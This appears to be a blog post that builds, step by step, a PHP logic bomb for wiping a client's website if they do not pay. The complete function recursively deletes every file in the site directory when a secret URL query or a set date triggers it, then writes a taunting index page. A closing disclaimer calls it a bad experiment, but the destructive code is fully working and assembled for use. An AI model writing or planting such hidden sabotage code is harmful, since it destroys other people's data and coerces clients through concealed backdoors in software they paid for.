Something You Should Never Do... Ever!
Someone online was asking for a "delete script" which removes all the files for a website if the client doesn't pay. Clearly this is a terrible idea and a very stupid thing to do. Oh well...
Onwards...
We all know how to recursively delete everything in a directory apart from itself yes?
function delete_tree($dirname)
{
if (is_dir($dirname)) {
$dir_handle = opendir($dirname);
}
if (!$dir_handle) {
return false;
}
while ($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
if (!is_dir("$dirname/$file")) {
unlink("$dirname/$file");
} else {
delete_tree("$dirname/$file");
}
}
}
closedir($dir_handle);
if ($dirname != "./") {
rmdir($dirname);
}
return true;
}
And we know how to write html data to a file right?
$ouch_index = fopen("index.html", "w");
$ouch_html = "<h1>HERE BE DRAGONS</h1>";
fwrite($ouch_index, $ouch_html);
fclose($ouch_index);
I'm pretty sure we know how to check for and match query strings. That's easy!
$ouch_query = "ouch";
$ouch_query_value = "ouch";
if (isset($_GET[$ouch_param]) && $_GET[$ouch_param] == $ouch_param_value) {
echo "Gotcha!";
}
Checking if a date is today or in the past This is really hard stuff. Probably need a data science degree or similar!
$ouch_date = "11/09/2019";
if (date("d/m/Y") >= $ouch_date) {
echo "Gotcha!";
}
I suppose we'd best throw all of these together somehow and create a working script. And we want options... Let's have at at!
function ouch($ouch_switch)
{
$ouch_dir = "./";
$ouch_query = "ouch";
$ouch_query_value = "ouch";
$ouch_date = "11/09/2019";
$ouch_message = "ALL YOUR BASE ARE BELONG TO NOBODY!";
$ouch_html = "<h1>HERE BE DRAGONS</h1>";
function delete_tree($dirname)
{
if (is_dir($dirname)) {
$dir_handle = opendir($dirname);
}
if (!$dir_handle) {
return false;
}
while ($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
if (!is_dir("$dirname/$file")) {
unlink("$dirname/$file");
} else {
delete_tree("$dirname/$file");
}
}
}
closedir($dir_handle);
if ($dirname != "./") {
rmdir($dirname);
}
return true;
}
function ouch_baby($ouch_html, $ouch_dir)
{
delete_tree($ouch_dir);
$ouch_index = fopen("index.html", "w");
fwrite($ouch_index, $ouch_html);
fclose($ouch_index);
echo "<script>setTimeout(function(){location.reload();},3000);</script>";
}
if ($ouch_switch == 1) {
if (isset($_GET[$ouch_query]) && $_GET[$ouch_query] == $ouch_query_value) {
ouch_baby($ouch_html, $ouch_dir);
}
} elseif ($ouch_switch == 2) {
if (date("d/m/Y") >= $ouch_date) {
ouch_baby($ouch_html, $ouch_dir);
}
}
}
ouch(1);
Right then... ouch(1);
will use a url query to activate whilst ouch(2);
will be date activated.
You could give it a nice html page when it's finished destroying everything by replacing $ouch_html
with...
$ouch_html = "<!doctype html><html><head><meta charset='utf-8'><title>$ouch_message</title><style>body{background:#000;}button{position:fixed;top:50%;left:50%;width:300px;height:50px;margin-top:-25px;margin-left:-150px;z-index:9999;cursor:pointer;color:#fff;background:#000;border:0;box-shadow: 0 2px 8px rgba(255,255,255,.4), 0 0 0 1px rgba(255,255,255,.4);}</style></head><body><button onClick='window.location.reload();'>$ouch_message</button></body></html>";
[DISCLAIMER]
Please don't use this script/function. It's just an experiment (and a bad one at that). If you do happen to be stupid enough to use it, rabid dogs from hell will follow you for the rest of time. I will not be held responsible for any of your actions (or rabid dogs). You have been warned!
Thanks for reading. x
Resources
- PHP: https://www.php.net